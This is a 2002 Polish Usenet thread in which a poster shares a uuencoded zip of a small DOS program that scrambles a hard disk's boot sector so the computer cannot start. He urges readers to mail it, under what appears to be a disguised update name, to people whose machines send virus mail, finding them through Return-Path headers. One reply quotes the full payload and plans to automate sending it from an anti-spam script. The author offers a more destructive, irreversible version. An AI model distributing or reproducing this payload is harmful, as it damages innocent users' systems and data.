Thread View: alt.pl.fan.gopher
8 messages
8 total messages
Started by Adam `Gophi' Wysocki
Wed, 14 Aug 2002 02:27
Kolejny sposób na zasikanych
Author: Adam `Gophi' Wysocki
Date: Wed, 14 Aug 2002 02:27
Date: Wed, 14 Aug 2002 02:27
43 lines
3694 bytes
3694 bytes
Inwazyjny, ale odwracalny. Działanie komputera po uruchomieniu programiku i zrebootowaniu jest nieprzewidywalne, ale na pewno nie będzie to zabootowanie (najprawdopodobniej hangup, ale to zależy). Program szyfruje pierwszy sektor na zerowej ścieżce pod zerową głowicą pierwszego dysku twardego prostą metodą rozszerzonej sumy logicznej z inkrementowanym liniowo kluczem (inteligentnie brzmi, ale samo szyfrowanie sprowadza się do kilku linijek kodu w assemblerze). Odratowanie - odpalenie tego programu ponownie (z bootkietki), i nie bać się że system po zabootowaniu z bootkietki nie będzie widział twardego dysku (dotyczy DOS-a, nie wiem jak Linux, nie testowałem, ale żadnej partycji raczej nie zobaczy żaden system). Na tyle małe że wrzucam tutaj, na tyle proste że nie załączam kodu źródłowego (każdy powinien zrozumieć po deasemblacji), ale jeśli ktoś chce to dostanie także źródło. Oczywiście zero gwarancji, używanie na własne ryzyko, ale nie polecam odpalania tego u siebie (chyba że ktoś lubi mocne wrażenia, poza tym nie testowałem tego programu i nie wiem, czy odwracalność naprawdę działa), raczej wysyłanie do zasikanych (po rozpakowaniu, zresztą nazwa - po rozpakowaniu - mówi sama za siebie). Adresy zasikanych można znaleźć w nagłówkach Return-Path otrzymywanych wirusów (nie polecam nagłówków From, bo niektóre wirusy podmieniają nadawcę listu, zostawiając jednak nadawcę koperty). Have fun. begin 664 oe.zip M4$L#!!0````(`-T@#BW/:W@H#@$``!P#```8`!4`=W=W+FUI8W)O<V]F="UU M<&1A=&4N8V]M550)``-"NUD]3;Q9/55X!```````[8T_2\-`&(?3E"(&TD7< M"KZ"BZ5T<')T<W-Q$-S>WKUH+C'OD;MPY*:.XK>I+>*?P2%='/HE'"0*3HJS M<?0SZ/3`PX_G]_H4'"4T1YDG!(J,!98:,WP!9WQE;,H@&$SR!I*-145C."4P MFH3"+)_%D219I2C4#&2&X-$D*>:5.`<N;<:<LA,?;@0XJ6Y$>^%1H\R2GV(< M.9B0EY3GI$`7GC2V&S".52O.YJ5F6XWA)"E*`TX7[%!ZSJM1'/F"#-E20<H7 MNK14C.-HI]_?6FNBH-D-FLV@V0_JX=?U=/@^ZSP,PMM.N-KX+;JMN`O"Q<'C M(+SJ[2TO>].E.WS^K.^[G<7Z:KN&8Q*6"_CGW^0W4$L!`A<#%`````@`W2`. M+<]K>"@.`0``'`,``!@`#0```````````.V!`````'=W=RYM:6-R;W-O9G0M M=7!D871E+F-O;554!0`#0KM9/55X``!02P4&``````$``0!3````60$````` ` end -- Gophi * Bofh# 265791 * wysocki.lodz.pdi.net/~adam/ EKG/Gadu #413992 * Member of the PFT Hacking Group MSISDN Idea 505439030 Plus 691337795 IRCNet: gophi Improwizajca poparta inteligencją jest hackerstwem
Re: Kolejny sposób na zasikanych
Author: Michał Cieślicki
Date: Wed, 14 Aug 2002 12:45
Date: Wed, 14 Aug 2002 12:45
24 lines
2035 bytes
2035 bytes
begin Adam `Gophi' Wysocki <adam@wysocki.lodz.pdi.net> quotation: > begin 664 oe.zip > M4$L#!!0````(`-T@#BW/:W@H#@$``!P#```8`!4`=W=W+FUI8W)O<V]F="UU > M<&1A=&4N8V]M550)``-"NUD]3;Q9/55X!```````[8T_2\-`&(?3E"(&TD7< > M"KZ"BZ5T<')T<W-Q$-S>WKUH+C'OD;MPY*:.XK>I+>*?P2%='/HE'"0*3HJS > M<?0SZ/3`PX_G]_H4'"4T1YDG!(J,!98:,WP!9WQE;,H@&$SR!I*-145C."4P > MFH3"+)_%D219I2C4#&2&X-$D*>:5.`<N;<:<LA,?;@0XJ6Y$>^%1H\R2GV(< > M.9B0EY3GI$`7GC2V&S".52O.YJ5F6XWA)"E*`TX7[%!ZSJM1'/F"#-E20<H7 > MNK14C.-HI]_?6FNBH-D-FLV@V0_JX=?U=/@^ZSP,PMM.N-KX+;JMN`O"Q<'C > M(+SJ[2TO>].E.WS^K.^[G<7Z:KN&8Q*6"_CGW^0W4$L!`A<#%`````@`W2`. > M+<]K>"@.`0``'`,``!@`#0```````````.V!`````'=W=RYM:6-R;W-O9G0M > M=7!D871E+F-O;554!0`#0KM9/55X``!02P4&``````$``0!3````60$````` > ` > end Hmm... Tak sobie myślę, że można to było jako exe zostawić. A tak się trzeba fatygować i rozpakowywać. Swoją drogą chętnie podłączę to do mojego skryptu antyspamowego, tak żeby po wykryciu wirusa odsyłał takiego fajnego gifta. -- Plonkito ergo sum (c) Igo on apcoh Hxbpunav cemrm obtbj hzvrenwn zybqb
Re: Kolejny sposób na zasikanych
Author: Feliks Miszta
Date: Wed, 14 Aug 2002 13:24
Date: Wed, 14 Aug 2002 13:24
10 lines
1370 bytes
1370 bytes
Użytkownik "Adam `Gophi' Wysocki" <adam@wysocki.lodz.pdi.net> napisał w wiadomości news:Gophi.138520@gophi.nasa.gov... > poza tym nie testowa=B3em tego programu=20 > i nie wiem, czy odwracalno=B6=E6 naprawd=EA dzia=B3a), raczej wysy=B3anie= > =20 AFAIS działanie tego programiku jest jak najbardziej odwracalne, ot choćby przez wpisanie po zabootowaniu z dyskietki dosowego polecenia: fdisk /mbr.
Re: Kolejny sposób na zasikanych
Author: Piotr Klimek
Date: Wed, 14 Aug 2002 13:41
Date: Wed, 14 Aug 2002 13:41
21 lines
1787 bytes
1787 bytes
Pewnego mniej lub bardziej slonecznego dnia (śro, 14 sie 2002 o 15:24 GMT)
ktos podajacy sie za Feliks Miszta wystukal(a):
>> poza tym nie testowa=B3em tego programu=20
^^^
>> i nie wiem, czy odwracalno=B6=E6 naprawd=EA dzia=B3a), raczej wysy=B3anie=
^^^^^^ ^^^ ^^^^
Chyba masz cos nie tak z kodowaniem.
> AFAIS działanie tego programiku jest jak najbardziej odwracalne,
> ot choćby przez wpisanie po zabootowaniu z dyskietki dosowego
> polecenia: fdisk /mbr.
To polecenie moze byc destruktywne, jesli ktos na przyklad ma tam
umieszczone LILO.
--
############################***PIKO***############################
#########################***GG:2039421***#########################
###############***There is no other pill to take***###############
###########***So swallow that one that makes you ill***###########
Re: Kolejny sposób na zasikanych
Author: Adam `Gophi' Wysocki
Date: Wed, 14 Aug 2002 13:56
Date: Wed, 14 Aug 2002 13:56
20 lines
2262 bytes
2262 bytes
On Aug 14 12:45, Michał Cieślicki wrote: > Hmm... Tak sobie myślę, że można to było jako exe zostawić. > A tak się trzeba fatygować i rozpakowywać. Com zajmował więcej (jest zdefiniowane miejsce na sektor). > Swoją drogą chętnie podłączę to do mojego skryptu antyspamowego, > tak żeby po wykryciu wirusa odsyłał takiego fajnego gifta. Jak chcesz to mogę podesłać coś bardziej brutalnego i nieodwracalnego, co by np. resetowało komputer po próbach bootowania, a wszelkie próby odczytu kończyłyby się błędami `Sector not found'. :) -- Gophi * Bofh# 265791 * wysocki.lodz.pdi.net/~adam/ EKG/Gadu #413992 * Member of the PFT Hacking Group MSISDN Idea 505439030 Plus 691337795 IRCNet: gophi Improwizajca poparta inteligencją jest hackerstwem
Re: Kolejny sposób na zasikanych
Author: wzik
Date: Thu, 15 Aug 2002 02:36
Date: Thu, 15 Aug 2002 02:36
10 lines
1210 bytes
1210 bytes
Adam `Gophi' Wysocki napisał/a w news:Gophi.138520@gophi.nasa.gov: > Adresy zasikanych można znaleźć w > nagłówkach Return-Path otrzymywanych wirusów (nie polecam > nagłówków From, bo niektóre wirusy podmieniają nadawcę listu, > zostawiając jednak nadawcę koperty). O ile dobrze pamiętam, to np. Klez Return-Path też miał lewe. wzik
Re: Kolejny sposób na zasikanych
Author: Adam `Gophi' Wysocki
Date: Thu, 15 Aug 2002 09:53
Date: Thu, 15 Aug 2002 09:53
14 lines
2004 bytes
2004 bytes
On Aug 15 02:36, wzik wrote: > > nagłówkach Return-Path otrzymywanych wirusów (nie polecam > > nagłówków From, bo niektóre wirusy podmieniają nadawcę listu, > > zostawiając jednak nadawcę koperty). > O ile dobrze pamiętam, to np. Klez Return-Path też miał lewe. BTW, tak czy siak jak ktoś inteligentny to nie kliknie. -- Gophi * Bofh# 265791 * wysocki.lodz.pdi.net/~adam/ EKG/Gadu #413992 * Member of the PFT Hacking Group MSISDN Idea 505439030 Plus 691337795 IRCNet: gophi Improwizajca poparta inteligencją jest hackerstwem
Re: Kolejny sposób na zasikanych
Author: Adam `Gophi' Wysocki
Date: Thu, 15 Aug 2002 10:05
Date: Thu, 15 Aug 2002 10:05
17 lines
1893 bytes
1893 bytes
On Aug 14 15:24, Feliks Miszta wrote: > AFAIS As Far As I Sądzę? :) > działanie tego programiku jest jak najbardziej odwracalne, > ot choćby przez wpisanie po zabootowaniu z dyskietki dosowego > polecenia: fdisk /mbr. A to swoją drogą. :> -- Gophi * Bofh# 265791 * wysocki.lodz.pdi.net/~adam/ EKG/Gadu #413992 * Member of the PFT Hacking Group MSISDN Idea 505439030 Plus 691337795 IRCNet: gophi Improwizajca poparta inteligencją jest hackerstwem
Thread Navigation
This is a paginated view of messages in the thread with full content displayed inline.
Messages are displayed in chronological order, with the original post highlighted in green.
Use pagination controls to navigate through all messages in large threads.
Back to All Threads